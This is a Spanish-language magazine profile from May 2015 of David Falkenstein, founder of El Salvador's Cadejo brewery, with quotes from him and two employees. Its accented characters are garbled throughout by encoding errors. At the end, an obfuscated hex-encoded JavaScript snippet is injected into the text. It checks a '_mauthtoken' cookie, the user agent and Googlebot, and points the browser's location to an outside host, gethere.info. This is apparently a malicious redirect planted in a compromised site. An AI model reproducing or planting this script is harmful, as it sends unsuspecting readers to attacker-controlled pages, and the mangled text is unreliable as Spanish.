SV del Mes

5 May 2015
SV del Mes | Por: Redacción

David Falkenstein, el cadejo cervecero, Mayo 2015

En esta ocasiA?n conversamos con un salvadoreAi??o cuya perseverancia y determinaciA?n lo han llevado a fabricar una de las bebidas mA?s preferidas y que conlleva grandes retos: la cerveza. Ai??l es David Falkenstein, un emprendedor nato y con grandes aspiraciones de posicionar a El Salvador como uno de los paAi??ses con producciA?n cervecera de calidad.

La perseverancia se logra siendo constantes en lo que queremos y que requiere de un proceso largo que termina con satisfacciA?n. Una persona perseverante tiene claro un objetivo positivo, relacionado con la creaciA?n de algo nuevo o la aportaciA?n de valores distintos al entorno en el que se encuentra. Normalmente, una persona perseverante diseAi??a un plan para alcanzarlo e inicia un camino de esfuerzo hasta que lo consigue, aunque en ese camino encuentre obstA?culos. Eso es exactamente lo que caracteriza a David Falkenstein, el cadejo cervecero que estA? orgulloso de haber nacido en El Salvador.

Como Ai??l mismo lo cuenta, naciA? salvadoreAi??o y creciA? durante la Ai??poca de la guerra y luego se fue a estudiar a Estados Unidos con el fin de formarse. ai???Desde que me fui pensAi?? siempre en educarme y regresar al paAi??s para contribuir a su desarrollo. Dadas las circunstancias terminAi?? quedA?ndome mA?s de lo previsto, pero regresAi?? a El Salvador en el 2008, ya casado, a comenzar una nueva familia y establecer una empresa aquAi??ai???.

Una de las mA?s famosas leyendas salvadoreAi??as es traAi??da en estos tiempos gracias al producto que ideA? este emprendedor. Tal como reza su eslogan, ai???la leyenda hecha cervezaai???, Cadejo se ha vuelto una de las bebidas preferidas por los salvadoreAi??os. AsAi??, lo que naciA? como un juego, un pasatiempo o un sueAi??o, ahora se ha vuelto mA?s que una realidad, pues tambiAi??n se traduce en fuentes de empleo, inversiA?n para el paAi??s, innovaciA?n y un producto local digno de ser llevado y pregonado a otros lares fueras del territorio salvadoreAi??o.

ai???Es una personan bien apasionada que tiene una visiA?n de lo que estamos haciendo, que nos lleva a nosotros a seguir ese sueAi??o con mayor convicciA?n. Es una gran persona y nos ha ayudado un montA?n a crecer en lo profesional y como personaai???, Bernardo Sequeira, Gerente de ProducciA?n.

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Lo que empezA? con una conversaciA?n entre amigos ahora es una productora cervecera. ai???Yo empecAi?? a hacer cerveza en la casa y ahAi?? fue donde surgiA? la idea de Cadejo. MejorAi?? en el arte de hacer cerveza y vi una oportunidad de convertirlo en negocio. Se me acercA? un amigo de infancia, que tiene un bar, y me dijo que querAi??a que le produjera cerveza para su bar. AsAi?? empezamos a platicar de la idea, la cual creciA?, se nos unieron inversionistas hasta ser lo que somos hoyai???, cuenta entusiasmado David, que desde el 2013 a la fecha ha visto una evoluciA?n tangible, abismal y satisfactoria de su idea.

ai???QuerAi??amos crear una empresa de orgullo nacional, hacer un producto de una calidad mundial que diera orgullo nacional e irreverente a la vez, distinto a lo que estamos acostumbrados y es lo que estamos haciendo. La leyenda del cadejo es una historia irreverente y fascinanteai???, asegura nuestro SalvadoreAi??o del Mes.

ai???Yo a David lo veo totalmente diferente que a un jefe tradicional, porque lo veo como un amigo, con quien uno puede sentarse en su oficina y preguntarle algo sin miedo y saber que te va a dar una respuesta sincera y algo que te va a ayudar. Es un buen amigo y una gran personaai???, Luis Torres, Encargado de Cellaring.

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Como es de esperarse, los retos, las barreras u obstA?culos y las faltas de A?nimo siempre se hacen presentes, pero lo que mA?s importa es luchar por lo que se quiere y lograr el objetivo final, pues solo asAi?? sabremos que el esfuerzo valiA? la pena y veremos los resultados que esperA?bamos.

Es asAi?? como David Falkenstein cree que emprender es una de las aventuras mA?s gratificantes y divertidas que podemos vivir.Ai?? ai???Por grande o pequeAi??o que sea un proyecto, los invito a que lo hagan realidad. Es una experiencia muy enriquecedora, porque le toca a uno resolver muchos problemas, encontrar la soluciA?n a barreras inesperadas que se van presentando en el camino. Es un reto a la creatividad y de aprendizaje. En los aAi??os que me tomA? formar Cadejo, por ejemplo, aprendAi?? de diferentes A?reas. Muchas veces, cuando emprendemos, lo hacemos contra lo que cree el pA?blico, porque estamos haciendo algo nuevo, asAi?? que no te pueden decir que no va a funcionar, por eso hay que seguir el sueAi??o; requiere de mucho trabajo, pero se puede y es muy gratificanteai???.maquinasvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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